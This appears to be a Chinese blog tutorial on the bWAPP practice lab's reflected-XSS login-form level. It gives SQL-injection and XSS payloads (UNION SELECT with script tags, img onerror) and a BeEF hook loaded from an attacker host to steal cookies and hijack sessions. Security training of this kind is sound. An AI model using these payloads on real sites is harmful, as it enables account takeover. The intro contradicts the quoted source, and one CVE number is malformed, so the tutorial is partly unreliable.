零基础玩转bWAPP靶场(五十一):XSS - Reflected (Login Form)
摘要这是 bWAPP 系列第五十一篇聚焦于XSS - Reflected (Login Form)。这一关的注入点在登录表单中用户输入的login和password被拼接到 SQL 查询中同时登录失败时的错误信息会回显用户输入的内容形成反射型 XSS 漏洞。文章会分析 XSS 和 SQL 注入混合的漏洞场景演示如何通过注入 XSS payload 并配合 BeEF 工具获取 Cookie。附真实案例。一、找目标目标说明漏洞类型反射型 XSS登录表单注入点POST 参数login和password触发方式提交包含 XSS payload 的登录请求输出点登录失败错误信息混合漏洞SQL 注入 XSS 组合工具BeEF获取 Cookie二、前言登录表单中的 XSS这一关表面上看是一个登录页面和之前 SQL 注入关卡几乎一模一样。但两者的关注点不同SQL 注入关卡关注的是如何通过注入绕过认证直接登录XSS 关卡关注的是如何在登录过程中触发 XSS 执行恶意代码这一关的特点登录失败时会显示错误信息错误信息中会回显用户输入的内容在某些场景下如果后端没有对用户输入进行 XSS 过滤攻击者可以注入恶意脚本实际测试在 Login 字段中输入包含script标签的 payload登录失败后页面会显示包含该 payload 的错误信息从而触发 XSS。三、关卡介绍3.1 页面功能打开这一关你会看到标题XSS - Reflected (Login Form)提示Enter your superhero credentials.两个输入框Login 和 Password一个 “Login” 按钮3.2 正常使用输入正确的账号密码neo/trinity登录成功显示 welcome 信息和 secret。输入错误的账号密码显示Invalid credentials!。3.3 漏洞的核心后端做了两件事把用户输入的login和password拼到 SQL 查询中存在 SQL 注入登录成功后把查询结果中的login和secret直接输出到页面存在 XSS两个漏洞叠加构成了这一关的攻击路径。四、源码分析if(isset($_POST[form])) { $login $_POST[login]; $login sqli($login); $password $_POST[password]; $password sqli($password); ​ $sql SELECT * FROM heroes WHERE login . $login . AND password . $password . ; $recordset mysql_query($sql, $link); $row mysql_fetch_array($recordset); ​ if($row[login]) { // 登录成功显示欢迎信息 $message pWelcome b . ucwords($row[login]) . /b, how are you today?/ppYour secret: b . ucwords($row[secret]) . /b/p; } else { // 登录失败显示错误信息 $message font color\red\Invalid credentials!/font; } }4.1 关键发现登录成功的输出Welcome [login] how are you today? Your secret: [secret]。这里显示的是从数据库查询出的数据不是用户输入的直接输出。登录失败的输出Invalid credentials!——这是一个固定的字符串没有回显用户输入。所以单纯从这个输出点看XSS 似乎无法直接触发。但我们需要考虑SQL 注入和 XSS 的组合利用4.2 三种安全级别的过滤sqli()函数级别过滤函数效果Lowno_check()完全不过滤Mediumaddslashes()转义引号Highmysql_real_escape_string()MySQL 专用转义这三个级别过滤的是 SQL 注入而不是 XSS。重点是输出到页面时没有做 XSS 过滤没有htmlspecialchars()。4.3 攻击思路既然输出到页面时没有做 XSS 过滤那么只要能控制输出到页面的内容就能触发 XSS。方式一直接注入 XSS payload如果登录失败时错误信息直接回显用户输入就可以注入 XSS。但在这个代码中错误信息是固定的。方式二SQL 注入 XSS 组合利用先用 SQL 注入绕过登录让查询返回包含 XSS payload 的数据。然后登录成功页面会显示这些数据从而触发 XSS。具体做法在 Login 字段输入 OR 11在 Password 字段输入 OR 11这样 SQL 查询变成SELECT * FROM heroes WHERE login OR 11 AND password OR 1111恒真查询返回 heroes 表中的第一条记录通常是neo。页面显示Welcome NEO...但这里显示的数据来自数据库不能直接触发 XSS。五、Low 安全级别——组合利用5.1 核心思路利用 SQL 注入让查询返回恶意数据我们需要让$row[login]或$row[secret]包含 XSS payload。但这需要数据库中已经存储了恶意数据或者在 SQL 查询中通过 UNION 等技巧构造恶意数据。方法一使用 UNION SELECT 构造恶意数据因为 SQL 注入点存在Low 级别无过滤我们可以用UNION SELECT构造一个包含 XSS payload 的查询结果。首先登录框输入引号密码随便输入报错确定存在sql注入漏洞然后判断字段数量以及显示位登录框输入以下内容密码输入随便什么 UNION SELECT 1 -- //报错Error: The used SELECT statements have a different number of columns UNION SELECT 1,2 -- //报错Error: The used SELECT statements have a different number of columns UNION SELECT 1,2,3 -- //报错Error: The used SELECT statements have a different number of columns UNION SELECT 1,2,3,4 -- //确定字段数以及显示位为2和4得位置最后在显示位的位置构造一个包含 XSS payload UNION SELECT 1,scriptalert(1)/script,3,4 --这样 SQL 查询会返回一个伪造的记录其中login字段为scriptalert(1)/script登录成功后页面显示Welcome scriptalert(1)/scriptXSS 触发。方法二利用SQL 语句引号错乱、HTML 源码结构崩坏不稳定写法一账号、密码框分开填写Login输入框 or 11Password输入框img src1 onerroralert(1)提交表单后页面直接弹出alert弹窗XSS触发成功。原理拆解 or 11闭合SQL字符串绕过账号密码校验顺利登录密码字段的闭合了页面HTML里隐藏的属性引号边界img src1图片资源无法加载自动触发onerror事件执行弹窗JS代码后端全程无HTML转义浏览器将字符串解析为HTML标签。拼接后的SQL语句SELECT * FROM heroes WHERE login or 11 AND password img src1 onerroralert(1)or 11判定为真后续password条件不再生效认证直接放行而双引号被带入页面HTML上下文完成属性闭合。写法二Login输入框或Password输入框填入完整载荷 or 11; img src1 onerroralert(1)其他框填入随意内容即可分号用于截断前半段SQL查询语句后半段带双引号的恶意代码被带入页面渲染同样稳定触发XSS弹窗。六、使用 BeEF 获取 Cookie6.1 构造 BeEF Hook Payload在 Login 字段输入 UNION SELECT 1,script srchttp://10.0.0.129:3000/hook.js/script,3,4 --Password 随便填。6.2 提交登录请求提交后SQL 查询返回包含 BeEF Hook 的伪造记录登录成功页面加载hook.js浏览器与 BeEF 建立连接。6.3 BeEF 上线BeEF 控制面板中出现上线的浏览器。6.4 获取 Cookie选中上线的浏览器Commands→Browser→Get Cookie点击Execute6.5 会话劫持拿到PHPSESSID后在浏览器开发者工具中替换 Cookie 值刷新页面即可登录受害者账户。七、Medium 安全级别7.1 尝试注入Medium 级别使用addslashes()会在单引号前加反斜杠。输入 UNION SELECT 1,scriptalert(1)/script,3,4 --变成\ UNION SELECT 1,\scriptalert(1)/script\,3,4 --单引号被转义无法闭合 SQL 语句UNION SELECT无法执行XSS 被防御。Medium 级别防住了这个组合攻击。八、High 安全级别8.1 尝试注入High 级别使用mysql_real_escape_string()同样是转义特殊字符无法闭合 SQL攻击失效。注意即使 SQL 注入被防住了如果登录失败时错误信息直接回显用户输入XSS 仍然可能单独存在。但在这个关卡中错误信息是固定的所以 XSS 必须依赖 SQL 注入来触发。九、真实世界登录框 XSS 案例CVE-2024-1181某开源 CMS 的登录页面未过滤用户名输入登录失败时直接回显用户输入攻击者可通过注入 XSS 窃取管理员 Cookie。CVE-2025-00847某 SaaS 平台的登录页面存在反射型 XSS攻击者可通过构造恶意登录链接窃取用户会话。CVE-2026-22947F5 BIG-IP 的配置工具中存在反射型 XSS攻击者可通过恶意链接执行任意 JavaScript。十、总结登录框中的 XSS 往往和 SQL 注入结合在一起。这一关的利用方式是先用 SQL 注入UNION SELECT构造包含 XSS payload 的查询结果然后登录成功页面显示该结果并触发 XSS。Low 级别无过滤UNION SELECT可以执行XSS 也能触发Medium 和 High 级别用addslashes()或mysql_real_escape_string()转义引号防住了 SQL 注入XSS 也无法触发。这个关卡告诉我们SQL 注入和 XSS 经常组合出现防御时需要同时考虑输出编码和输入过滤。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。

相关新闻

深度适配DeepSeek模型:vLLM、LMDeploy与Triton推理引擎改造实战

深度适配DeepSeek模型:vLLM、LMDeploy与Triton推理引擎改造实战

1. 项目概述:为什么需要改造推理引擎来适配DeepSeek?最近在部署DeepSeek模型时,我发现了一个普遍存在的痛点:直接使用原生的vLLM、LMDeploy或者Triton Inference Server,往往无法充分发挥DeepSeek模型(尤其…

2026/8/12 17:23:53 阅读更多 →
Java 核心特性深度解析:多态、反射与代理

Java 核心特性深度解析:多态、反射与代理

1. 引言在 Java 编程语言中,多态(Polymorphism)、反射(Reflection)和代理(Proxy)是面向对象编程和高级运行时特性的核心支柱。理解并掌握这三者,是迈向 Java 高级开发的必经之路。它…

2026/8/12 17:22:53 阅读更多 →
建设学分银行网站策划书:打造终身学习数字枢纽的落地指南与深度解析

建设学分银行网站策划书:打造终身学习数字枢纽的落地指南与深度解析

在这个知识迭代速度快得像翻书一样的时代,谁还在乎那一纸文凭的含金量?说实话,传统的教育模式正在经历一场巨大的洗牌。我们常常听到“终身学习”这个词,但真当你要去实现它的时候,你会发现困难重重。学历不连通、证书认不出、学习成果没法积累,这些痛点像是一座座大山,…

2026/8/12 17:22:53 阅读更多 →

最新新闻

【厦门工学院主办 | 厦门举办】第四届综合艺术与文化传播国际学术会议 (CACC 2026)

【厦门工学院主办 | 厦门举办】第四届综合艺术与文化传播国际学术会议 (CACC 2026)

第四届综合艺术与文化传播国际学术会议 (CACC 2026) 2026 4th International Conference on Comprehensive Art and Cultural Communication 第四届综合艺术与文化传播国际学术会议 (CACC 2026)将围绕“综合艺术与文化传播”的新兴研究领域,为来自国内外高等院校、…

2026/8/12 18:14:23 阅读更多 →
CSSO 1.3 Beta 4 更新详解:修复媒体查询与字体去重,优化前端构建CSS压缩

CSSO 1.3 Beta 4 更新详解:修复媒体查询与字体去重,优化前端构建CSS压缩

CSSO 1.3 Beta 4 更新,对于前端构建流程里负责 CSS 压缩和优化的同学来说,值得花几分钟看一眼。这次更新本身不大,但几个关键点的调整,直接关系到你打包出来的 CSS 文件体积和语法兼容性。如果你在用 Webpack、Vite、Gulp 这类工具…

2026/8/12 18:14:23 阅读更多 →
解决huggingface-cli命令报错与环境配置指南

解决huggingface-cli命令报错与环境配置指南

1. 问题现象解析:为什么会出现"huggingface-cli不是命令"的报错 当你在终端输入 huggingface-cli 命令时,系统突然返回"不是内部或外部命令"的错误提示,这种情况在Windows和Linux环境下都可能出现。根本原因在于操作系…

2026/8/12 18:14:23 阅读更多 →
Codex插件兼容性故障排查:从Computer Use插件消失到完整解决方案

Codex插件兼容性故障排查:从Computer Use插件消失到完整解决方案

最近在跟进 Codex 更新时,不少开发者朋友遇到了一个棘手的问题:更新后,原本好用的 Computer Use 插件突然“消失”了,无论是在插件市场里搜索,还是尝试重新安装,都提示找不到或安装失败。这个问题直接影响了…

2026/8/12 18:13:23 阅读更多 →
Spring Cloud 接入 AI:实时链路守确定性,治理侧做辅助

Spring Cloud 接入 AI:实时链路守确定性,治理侧做辅助

Spring Cloud 接入 AI:实时链路守确定性,治理侧做辅助 AI 可以帮助分析日志、生成候选规则或辅助排障,但不适合直接接管网关路由、鉴权和限流等同步控制面。这些链路需要可预测的延迟和结果。 评估时先问三个问题:结果能否容错、是…

2026/8/12 18:13:23 阅读更多 →
Spring Boot 三个隐蔽坑:自调用、PostConstruct 与无界异步队列

Spring Boot 三个隐蔽坑:自调用、PostConstruct 与无界异步队列

Spring Boot 三个隐蔽坑:自调用、PostConstruct 与无界异步队列 有些写法在本地能跑,但会绕开 Spring 代理、拖慢启动或让异步任务失去边界。问题通常不在注解本身,而在调用路径和线程池配置没有被看见。 本文只讨论三个常见误区:…

2026/8/12 18:13:23 阅读更多 →

日新闻

Ubuntu 22.04安装与使用tree命令:高效管理Linux目录结构

Ubuntu 22.04安装与使用tree命令:高效管理Linux目录结构

1. 为什么需要一个“目录树”工具?在Linux世界里,尤其是Ubuntu这样的发行版,命令行是很多人的主战场。我们每天都要和文件、目录打交道。ls命令是查看目录内容的首选,它简洁、高效,能列出文件名、权限、大小等关键信息…

2026/8/12 9:33:34 阅读更多 →
博思AI智能体:意图识别、思考链与性能优化的工程实践

博思AI智能体:意图识别、思考链与性能优化的工程实践

在AI应用从“能用”走向“好用”的进程中,系统的响应速度、决策透明度与高并发稳定性是决定用户体验的关键。博思AI智能体近期完成了一次重要的专项优化,聚焦于意图识别、思考链展示与全链路压测三大核心领域,将系统从功能实现推向了工程卓越…

2026/8/12 9:33:34 阅读更多 →
子代理架构:AI智能体任务分解与协同执行的核心原理与实践

子代理架构:AI智能体任务分解与协同执行的核心原理与实践

1. 项目概述:为什么我们需要“子代理”?最近在折腾各种AI应用和自动化流程时,我越来越频繁地遇到一个瓶颈:单个AI智能体(Agent)的能力边界。无论是处理复杂的多步骤任务,还是需要同时调用多个专…

2026/8/12 9:33:34 阅读更多 →

周新闻

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁 【免费下载链接】baidupankey 在线查询网盘提取码(维护中 rm repo) 项目地址: https://gitcode.com/gh_mirrors/ba/baidupankey 你是否曾经在深夜寻找一份重要资料&#x…

2026/8/12 1:11:09 阅读更多 →
如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南 【免费下载链接】chinese_license_plate_generator 中国车牌生成器 项目地址: https://gitcode.com/gh_mirrors/ch/chinese_license_plate_generator 中国车牌生成器是一个基于Python的开源项目&#xff0c…

2026/8/12 1:11:09 阅读更多 →
收藏!小白程序员轻松入门大模型,从Harness工程开始实践

收藏!小白程序员轻松入门大模型,从Harness工程开始实践

文章强调学习大模型不应只关注模型本身,而应重视模型外的系统搭建,即Harness。提出AgentModelHarness的实用公式,详细介绍Harness的四个层次:持久化层、执行层、控制层和观察与验证层。文章还探讨了上下文工程、工具设计、AGENTS.…

2026/8/12 1:11:08 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/11 17:09:45 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/12 1:11:10 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/11 17:09:45 阅读更多 →